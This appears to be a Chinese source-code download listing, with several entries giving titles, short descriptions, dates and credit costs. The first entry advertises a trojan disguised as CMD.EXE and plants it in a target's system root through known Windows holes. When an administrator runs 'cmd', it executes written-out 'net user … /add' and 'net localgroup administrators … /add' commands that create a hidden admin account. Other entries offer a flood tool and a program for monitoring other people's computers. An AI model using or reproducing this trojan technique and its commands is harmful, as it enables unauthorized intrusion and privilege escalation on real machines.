-
你是不是经常在开始菜单的运行窗口里运行命令呢? 看看这个漏洞: http://zdnet.com /2100...
你是不是经常在开始菜单的运行窗口里运行命令呢? 看看这个漏洞: http://zdnet.com /2100-1105-964057.html win2000和xp在执行搜索的时候, 首先查找根目录 而开始菜单的运行窗口里执行命令, 也是首先在系统盘的根目录里进行查找. 这个漏洞其实是已经是公开的秘密了. 既然现在作为漏洞公布出来, 我也就把网上的PasswordReminder.cpp拿来改了改 加了一个加超级管理员用户和执行cmd.exe的功能. 使用方法: 把程序解压, 把压缩包里的文件 CMD.EXE (该文件具有隐藏和只读属性) 释放到目标机器的系统盘根目录, 一般都是在C:比如利用UNICODE/Decode漏洞就有写根目录的权限, 同时Asp/fp30reg.dll等远程溢出出来的Shell, 一般都只有匿名权限, 但是它具有写根目录的权限 这个时候, 就可以把本程序放到目标机器的系统盘根目录 只要等管理员在机器的开始菜单里运行命令: cmd 一切尽在掌握中.:) PS: 系统执行后, 会先产生一个线程来做一些处理 然后用system()函数调用cmd.exe来让用户能够执行命令. 产生出来的线程会产生两个进程序执行如下两个命令: net user ISUR_IWAM wwwcnhonkercom /add net localgroup administrators ISUR_IWAM /add 这样就在系统上增加了一个超级-cmd loopholes in the source code
- 2022-06-01 08:01:12下载
- 积分：1
-
通讯网与ATM的维护管理和安全问题的解决
通讯网与ATM的维护管理和安全问题的解决-communications network, and ATM maintenance and management and security issues resolved
- 2022-09-26 13:50:03下载
- 积分：1
-
a good TCP and UDP ports controlled by example! Little changes, write a flood pr...
一个很好的TCP和UDP端口控制的例子！稍加改动，写一个flood程序没问题！附VB的演示程序-a good TCP and UDP ports controlled by example! Little changes, write a flood procedures No problem! A VB Demonstration Program
- 2022-02-01 17:27:01下载
- 积分：1
-
VB program design and source code examples, this is a book with some examples of...
VB程序设计示例及源代码,这是某本书中的一些例子与源代码,是清华大学出版社的. -VB program design and source code examples, this is a book with some examples of the source code, is the Qinghua University Press.
- 2022-03-26 00:24:40下载
- 积分：1
-
四叉树的例子
四叉树示例
- 2022-05-30 09:51:50下载
- 积分：1
-
一个监控别人计算机的程序
一个监控别人计算机的程序-a computer monitor procedures
- 2023-07-13 23:45:03下载
- 积分：1
-
我们的数据，文档基本上都存储在硬盘中，而硬盘的安全性将成为关注的焦点，本程序将针对硬盘的安全性进行相应处理...
我们的数据，文档基本上都存储在硬盘中，而硬盘的安全性将成为关注的焦点，本程序将针对硬盘的安全性进行相应处理-our data, document basically stored on the hard drive, and hard disk security will be the main focus of concern, the program will address the safety drive for appropriate action
- 2022-11-03 17:25:02下载
- 积分：1
-
PIKT使一个跨平台，多功能的系统监视工具集合，可以用于系统安全管理和配置。...
PIKT使一个跨平台，多功能的系统监视工具集合，可以用于系统安全管理和配置。-PIKT make a cross-platform, multi-functional system monitoring tools to gather can be used for system security management and configuration.
- 2023-03-29 18:30:03下载
- 积分：1
-
列举win2k named pipe, 使用本机API,适合初学者学习系统编程
列举win2k named pipe, 使用本机API,适合初学者学习系统编程-The code enumerates WIN2K NAMED PIPE which is used local API and suit to learner who is studying system programming.
- 2022-01-26 05:43:23下载
- 积分：1
-
Website program Detection Tool
网站程序检测工具，程序优化，文件传输等。-Website program Detection Tool
- 2023-05-18 01:15:04下载
- 积分：1
